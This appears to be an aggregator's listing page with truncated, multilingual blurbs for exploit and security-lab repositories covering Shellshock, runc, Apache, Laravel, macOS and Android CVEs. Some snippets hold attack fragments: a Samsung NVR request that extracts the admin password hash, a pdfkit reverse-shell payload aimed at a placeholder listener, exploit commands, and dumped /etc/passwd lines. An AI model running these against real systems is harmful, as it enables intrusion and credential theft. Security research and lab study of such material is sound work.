duchamp-root

中文 | English +One-Click+Root;CVE-2026-43499+\IonStack+Exploit;710%E8%A7%A3%E9%94%81%E8%8A%82%E6%9C%80%E6%96%B0%E5%8A%9B%E4%BD%9C+%F0%9F%94%A5 -blue -green ⚡ Orgoglioso utente di JetBrains Mono ⚡ Questa README usa esclusivamente JetBrains Mono. Comic Sans è vietato. !IMPORTANT 🚨 Disclaimer Questo...

gef

GEF pronounced ʤɛf - "Jeff" is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit...

vaas-cve-2014-6271

Vulnerabilidade como Serviço - CVE 2014-6271 Um sistema Linux Debian Buster com uma versão vulnerável do bash e uma aplicação web para demonstrar o CVS-2014-6271, também conhecido como Shellshock. Visão Geral Este container Docker é baseado no Debian Buster e foi modificado para usar uma versão...

vaas-cve-2014-6271

Vulnerability as a Service - CVE 2014-6271 A Debian Buster Linux system with a vulnerable version of bash and a web application to showcase CVS-2014-6271, a.k.a. Shellshock. Overview This docker container is based on Debian Buster and has been modified to use a vulernable version of Bash...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd Primo, ottieni l'hash MD5 della password dell'account 'admin'. Invia: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows...

usn_analytics

USN Analytics Compilazione root@kitploit: git clone https://github.com/4n6ist/usnanalytics.git Linux root@kitploit: sudo dnf groupinstall development-tools // Fedora sudo dnf install glibc-static libstdc++-static // Fedora sudo apt-get install build-essential // Debian/Ubuntu cd usnanalytics make...

kyocera-cve-2022-1026

kyocera-cve-2022-1026 Eine unauthentifizierte Datenextraktions-Schwachstelle in Kyocera-Druckern, die das Auslesen von Klartext-Adressbüchern und Domänen-Anmeldeinformationen ermöglicht. Schwachstellenübersicht Anfang 2021, während eines Penetrationstests, experimentierte ich mit der...

apache_druid_CVE-2021-36749

apachedruidCVE-2021-36749 CVE-2021-36749 Docker Reproduktion der Sicherheitslücke Docker-Image importieren: docker import apachedruid.tar apache:1 Docker starten: docker run -id --name apachedruid -p 8081:8081 -p 8082:8082 -p 8083:8083 -p 8888:8888 -p 8091:8091 -p 2181:2181 镜像ID /bin/bash In den...

CVE-2009-0229-PoC

CVE-2009-0229-PoC PoC für CVE-2009-0229 "Druckerwarteschlangen-Dateileseschwachstelle" LPE AFR verwandt mit CVE-2020-1048 Details Autor: Andrei Costin [email protected] https://twitter.com/costinandrei/ PoC-Datum: 2010-xx-xx Veröffentlichungsdatum: 2020-05-14 erinnert/inspiriert durch...

apache-cve-2021-41773-lab

Lab di Path Traversal Apache 2.4.49 — CVE-2021-41773 Clonazione root@kitploit: git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh Utilizzo Avvia il server vulnerabile: root@kitploit: ./apachelab.sh choose option 1 Exploit...

CVE-2024-21626-POC

CVE-2024-21626-POC 使用說明 教育・研究目的のみに使用してください。教育・研究に関係のない行為によって生じたリスクは自己責任となります 使用 root@kitploit: docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh 另起一个terminal /bin/bash.copy 注意 docker/runcのバージョンによって使用される具体的なファイルディスクリプタは異なります。例えば、docker server:20.10.17 && runc version...

health-check

health-check Health Check & Troubleshooting daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin...

CVE-2021-3129

CVE-2021-3129 Laravel = v8.4.2 modalità di debug: esecuzione remota di codice CVE-2021-3129 Ho modificato l'exploit del maestro @crisprss https://github.com/crisprss/LaravelCVE-2021-3129EXP aggiungendo più gadget utilizzabili per l'enumerazione. Uso: root@kitploit: python3 exp.py...

blueshrimp

Proof-of-concept for CVE-2025-48593 based on examining the patch. You shouldn't worry about this. As far as I can tell, phones are NOT vulnerable to CVE-2025-48593. The issue only affects Android devices that support acting as Bluetooth headphones / speakers, such as some smartwatches, smart...

blueshrimp

Proof-of-concept per CVE-2025-48593 basato sull'esame della patch. Non dovresti preoccupartene. Per quanto ne so, i telefoni NON sono vulnerabili a CVE-2025-48593. Il problema riguarda solo i dispositivi Android che supportano la funzione di cuffie/altoparlanti Bluetooth, come alcuni smartwatch,...

MacDirtyCowDemo

Ottieni root su macOS 13.0.1 con CVE-2022-46689 equivalente macOS del bug Dirty Cow, utilizzando il test case estratto da Apple's XNU source. https://worthdoingbadly.com/macdirtycow/ Utilizzo Su una macchina macOS 13.0.1 / 12.6.1 o inferiore, esegui: root@kitploit: clang -o switcharoo...

CVE-2024-21626

Informazioni Passaggi per riprodurre assicurarsi che il kernel sia = 5.4,4.19,.. e che openat2 sia presente in /proc/kallsyms. v1.0.0-rc93= runc =1.1.11 root@kitploit: $ grep openat2 /proc/kallsyms ffffffffa64290d0 T pfxauditopenat2how ffffffffa64290e0 T auditopenat2how ffffffffa666de90 t...

CVE-2017-12611_Exploit

CVE-2017-12611-Projekt Übersicht: Ein RCE-Angriff ist mit dem angegebenen Payload möglich. Umgebung & Werkzeuge Nachfolgend sind die Umgebungen und Werkzeuge für Tests und Validierung in einem isolierten, persönlichen Labor aufgeführt. Host-Betriebssystem : Ubuntu 18.04.6 Angreifer-Betriebssystem...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Laboratorio di penetration testing basato su Docker che simula la vulnerabilità CVE-2021-42013 Path Traversal & RCE su Apache HTTP Server 2.4.49. Questo progetto è stato preparato per simulare e sfruttare exploit la vulnerabilità CVE-2021-42013 presente su Apache HTTP...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Tramite CURL modifica i valori in grassetto: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...